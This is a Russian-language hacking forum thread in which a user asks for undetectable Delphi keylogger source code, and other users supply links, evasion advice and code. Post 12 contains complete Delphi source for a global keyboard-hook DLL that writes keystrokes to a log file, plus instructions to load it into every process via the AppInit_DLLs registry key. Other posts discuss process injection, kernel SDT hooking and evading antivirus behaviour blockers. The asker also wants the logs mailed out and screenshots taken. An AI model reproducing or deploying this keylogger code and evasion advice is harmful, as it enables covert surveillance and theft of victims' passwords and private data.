[delphi] Клавиатурный шпион

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by miqo, 11 Apr 2009.

  1. miqo

    miqo Banned

    Joined:
    18 Nov 2008
    Messages:
    100
    Likes Received:
    0
    Reputations:
    -1
    Пожалуйста помогите найти исходники хорошего келоггера на дельфи. Несколько часов голову ломаю но ничего подходящего немогу найти.А мне срочно надо
     
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Хороший келогер(безпаливный) на дельфе ты ненапишеш ;)
     
  3. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    http://www.delphisources.ru/pages/sources/system/2005_year/key_logger.html
    http://www.realcoding.net/article/view/4321
    http://pblog.ru/?p=69
    http://articles.org.ru/cfaq/index.php?qid=1475&catid=50
    http://sources.ru/cpp/faqs/49.htm
    http://www.realcoding.net/article/view/4321

    интересно, когда же вы научитесь гуглом пользоватся..
     
  4. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    401
    Likes Received:
    153
    Reputations:
    48
    это скорее проблема прямых рук, чем дельфи. да и вопрос не стоял о "безпаливности".

    http://www.programmersforum.ru/showthread.php?t=5505
    http://www.dore.ru/perl/nntp.pl?f=1&gid=8&mid=24390
    http://forum.vingrad.ru/index.php?showtopic=76095&unread=1&hl=

    з.ы. примеры без использования DLL
     
    #4 Hellsp@wn, 11 Apr 2009
    Last edited: 11 Apr 2009
  5. Baofy

    Baofy Member

    Joined:
    26 Feb 2009
    Messages:
    12
    Likes Received:
    72
    Reputations:
    7
    в книге делфи глазами хакера был кейлогер юзай гугл
     
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 Hellsp@wn По мне - всё что имеет видимый процесс - то паливно )
    Безпаливно - это значит очень хорошо, потому как проактивки кейлогеров палят быстро.
    А так хук в Shadow SDT и хороший получается адрёный хукер. Но на дельфе ты такое врядли напишешь. А так максимум что ты сможешь сделать нормального DLL которая делает всё плохую работу. А там уже методов куча и стандартные виндовые хуки на сообщения и простой сплайсинг но в любом случае - это спалится очень
     
  7. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    401
    Likes Received:
    153
    Reputations:
    48
    ну и зачем? инжект в доверенные (способы есть) и ставь хуки какие хочешь, если это не нра ахукай SDT, мешает процесс, пусть будет шелл код. причём здесь вообще дельфи? это всё кодиться на любом языке.
     
    #7 Hellsp@wn, 11 Apr 2009
    Last edited: 11 Apr 2009
  8. miqo

    miqo Banned

    Joined:
    18 Nov 2008
    Messages:
    100
    Likes Received:
    0
    Reputations:
    -1
    книга у меня есть
     
  9. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 Hellsp@wn
    Неуверен что ты сможешь на делфи похукать SDT и тем более чтобы это у тебя работало.
    для непосвяшенных это делается в ring0 (kernel-mode) из драйвера. Хотя дрова писать на дельфе - это тру!
     
  10. miqo

    miqo Banned

    Joined:
    18 Nov 2008
    Messages:
    100
    Likes Received:
    0
    Reputations:
    -1
    и еще пожалуйста подскажите как сделать чтобы через заданный промежуток времени программа выполняла команды,но без TTmer а.например через каждые 3 часа отправляла лог или проверяла подключен ли интернет или размер файла лога.....
     
  11. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    401
    Likes Received:
    153
    Reputations:
    48
    после этого даже объяснять ничего не хочется. есть такая вещь, эксплоит называется. если тебе нужен мастер класс пиши в пм проведу, оффтопить хватит.

    http://www.sql.ru/forum/actualthread.aspx?tid=217966
     
    #11 Hellsp@wn, 11 Apr 2009
    Last edited: 11 Apr 2009
  12. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Ставь касперского 7 на полной проактивке и слушай поросячий визг от установшиков хуков )
    На счет шелкода - можно поспорить. Ну вот запустил ты свою прогу, и она заинжектит куданить шелкод. Ну хотябы в тотже эксплорер (WriteProcessMemory) один инжект тебя убьет.
    Ну ты еще можешь поставить через SetWindowsHookEx хук на Клаву (WH_KEYBOARD) но твоя прога должна тогда выглядеть в виде DLL которая тупо должна грузится к приложениям. А если приложения консольное, то хрен такое сработает.

    А если паливность вообще закинуть куда подальше, то все средства хороши.
    Тупо берем пример из DW
    Code:
    library Hook;
    uses Windows, SysUtils;
    const KF_UP_MY = $40000000;
    var CurrentHook: HHook;
        KeyArray: array[0..19] of char;
        KeyArrayPtr: integer;
        CurFile:text;
    function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
    integer): longword; stdcall;
    var
    i:integer;
    begin
      if code< 0 then
       begin
         result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
         Exit;
       end;
      if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
        begin
          KeyArray[KeyArrayPtr]:=char(wParam);
          KeyArrayPtr:=KeyArrayPtr+1;
          if KeyArrayPtr> 19 then
           begin
            for i:=0 to 19 do
            begin
              Assignfile(CurFile,'d:\log.txt');
              if fileexists('d:\log.txt')=false then rewrite(CurFile)
              else Append(CurFile);
              write(Curfile, KeyArray[i]);
              closefile(curfile);
            end;
            KeyArrayPtr:=0;
           end;
        end;
        CallNextHookEx(CurrentHook,code,wParam,lparam);
        result:=0;
    end;
    procedure SetupGlobalKeyBoardHook;
    begin
      CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
      KeyArrayptr:=0;
    end;
    procedure unhook;
    begin
      UnhookWindowshookEx(CurrentHook);
    end;
    
    exports
     SetupGlobalKeyBoardHook, UnHook;
    begin
    end.
    
    И тупо прописываешь его в
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
    Вот и тебе и хукер. А там уже добавить таблицу системных кнопок типа ESC и тому подобных, а также по дискриптору окна определяешь имя окна и процесса где это было вписано. Вот тебе и хороший кейлогер.

    /me ушел вешаться из-за поросячих визгов товарища Касперского.
     
  13. miqo

    miqo Banned

    Joined:
    18 Nov 2008
    Messages:
    100
    Likes Received:
    0
    Reputations:
    -1
    спс всем!!!

    а как на счет второго вопроса?


     
    #13 miqo, 11 Apr 2009
    Last edited: 11 Apr 2009
  14. sboy20042

    sboy20042 Banned

    Joined:
    7 Jul 2007
    Messages:
    318
    Likes Received:
    376
    Reputations:
    128
    Hellsp@wn инжект в доверенный процесс это уже давным довно прошлый век и палится на раз!
    послушай слеша) он умный)
     
  15. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    401
    Likes Received:
    153
    Reputations:
    48
    sboy20042 если ты не знаешь способов, это не значит что их вообще нету. или CreateRemoteThread / Set(Get)ThreadContext / QueueUserAPC это предел?

    miqo
    http://www.sql.ru/forum/actualthread.aspx?tid=217966
     
  16. miqo

    miqo Banned

    Joined:
    18 Nov 2008
    Messages:
    100
    Likes Received:
    0
    Reputations:
    -1
    плз!!!напишите побыстрее мне очень срочно надо
     
  17. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    miqo, тебе Hellsp@wn дал ссылку:
     
    #17 criz, 11 Apr 2009
    Last edited: 11 Apr 2009
  18. miqo

    miqo Banned

    Joined:
    18 Nov 2008
    Messages:
    100
    Likes Received:
    0
    Reputations:
    -1
    спасибо большое!!!!
     
  19. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    C пеной у рта вы тут все доказываете... а ведь под вин есть дофига способов реализовывать кей логеры... от написания собстенного драйвера клавиатуры
    до юзанья стандартных хуков (в промежутке можно кучи способов найти двигаясь от ring0 до ring3)

    Самый клевый кей логгер это аппаратный кей логгер ))) встраиваемый в клаву или в штур и никаких проблем, кроссплатформенный )

    Последнее время камперычи всякие и оутпосты так сидят в ядре эх
     
    _________________________
    1 person likes this.
  20. miqo

    miqo Banned

    Joined:
    18 Nov 2008
    Messages:
    100
    Likes Received:
    0
    Reputations:
    -1
    а может у кого есть исходник с описаниями на асм е.но чтоб было отправка на майл,функция скртншота и т.д.